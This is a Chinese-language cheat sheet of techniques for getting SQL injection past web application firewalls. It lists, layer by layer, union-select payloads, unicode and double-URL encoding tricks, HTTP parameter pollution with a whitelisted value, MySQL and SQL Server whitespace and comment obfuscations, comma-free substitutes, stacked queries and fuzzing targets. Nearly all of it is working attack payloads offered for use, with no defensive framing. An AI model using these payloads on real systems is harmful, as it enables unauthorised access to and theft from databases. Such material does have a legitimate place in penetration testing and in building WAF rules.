Web架构层 bypass:
通过更改POST/GET/PUT 请求方式
Web服务器层bypass:
iss+asp 可通过unicode编码绕过关键字符:s%u0065lect->select
Web应用程序层bypass:
双层URL编码,更改请求方式传参或者burp抓包更改主体编码。?id=1' union select 1,version()#。HPP是指HTTP参数污染此处关键还是要分析 WAF 对于获取参数的方式是如何处理的。这里也要再提一下的,hpp,的灵活运用,譬如有些 cms.基于 yd,的白名单,因此可以利用 hpp,的方式在参数一的位置添加白名单目录,参数2的位置添加恶意的payload。形如indexphp?a=[whitelist]&a=select 1 union select 2
数据库层bypass:
参数和union之间的位置
1.\Nunion的形式:id=\Nunion select.....
2.浮点数的形式:1.1 8.0
3.8e0的形式 id=8e0union
4.利用/*!5000*/的形式 id=-3/*!5000*/union select
第二种:union和select之前的位置
(1)空白字符*Mysg!,中可以利用的空白字符有:%09.%0a.%0b.%0c,%0d.%a0;
(2)注释←使用空白注释←MYSQL中可以利用的空白字符有 /**/
/*letmetest*/
(3)使用括号:id=8e0union(select xxxxxxx);
(4)常见的过滤函数:Mid(version(),1,1)
Substr()
Substring()
Lpad()
Rpad()
Left()
reverse()
字符串连接函数:
concat(version().'|'.user());
concat_ws('|'.1,2,3);
字符转换
Ascii(1)转换ascii(1)
Char(49)
Hex('a')
Unhex(61)
过滤逗号:limit处的逗号
limit 1 offset 0
字符串截取处的逗号
mid处的逗号
mid(version() from 1 for 1)
Union处的逗号
通过join拼接
sqlserver 数据库绕过
常见的绕过位置
(1) select from后的位置
空白符号:
01,02,03,04.05,06.07.08.09,0A,0B,0C,0D,0E,0F,10.11,12,13,14,15.16.17.18,19.1A1B,1C.1D
.1E.1F.20
需要做 urlencode,sqlserver中的表示空白字符比较多,靠黑名单去阻断一般不合适
注释符号MSsql也可以使用注释符bypass
可以使用.来绕过 select * from. xxx
(2)select from之间的位置
空白符号:01,02,03.04.05,06,07.08.09,0A,0B,0C.0D,0E,0F,10,11,12.13,14,15.16.17.18,19.1A1B,1C 1D1E.1F.20
注释符号 Mssql也可以使用注释符号/**/ 例:select /**/ * from xxx
(3) and之后的位置
加入上面的空白字符
:号 在sqlserver2017不再适用
(4)常见过滤函数
字符串截取函数
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
字符串转换函数
Ascii('a”)这里的函数可以在括号之间添加空格的,一些 waf,过滤不严会导致 bypass Char('97')
其他方式
Mssql支持多语句查询,因此可以使用;结束上面的查询语句,然后执行自己构造的语句动态执行
Waf层bypass
1.性能bypass
2.性能检测bypass
3.性能负载bypass
4.fuzz bypass:使用脚本去探测 WAF 设备对于字符处理是否有异常,上面已经说过 WAF 在接收到网络数据之后会做相应的数据包解析,一些 WAF 可能由于自身的解析问题,对于某些字符解析出错,造成全局的 bypass。我测试的时候常常测试的位置:“
1): get 请求处
2):header 请求处←
3):post yrlencade,内容处
4):post form-data 内容处
然后模糊测试的基础内容有:
1)编码过的 0-255 字符
2)进行编码的 0-255 字符
3)utf gbk 字符
5.白名单 bypass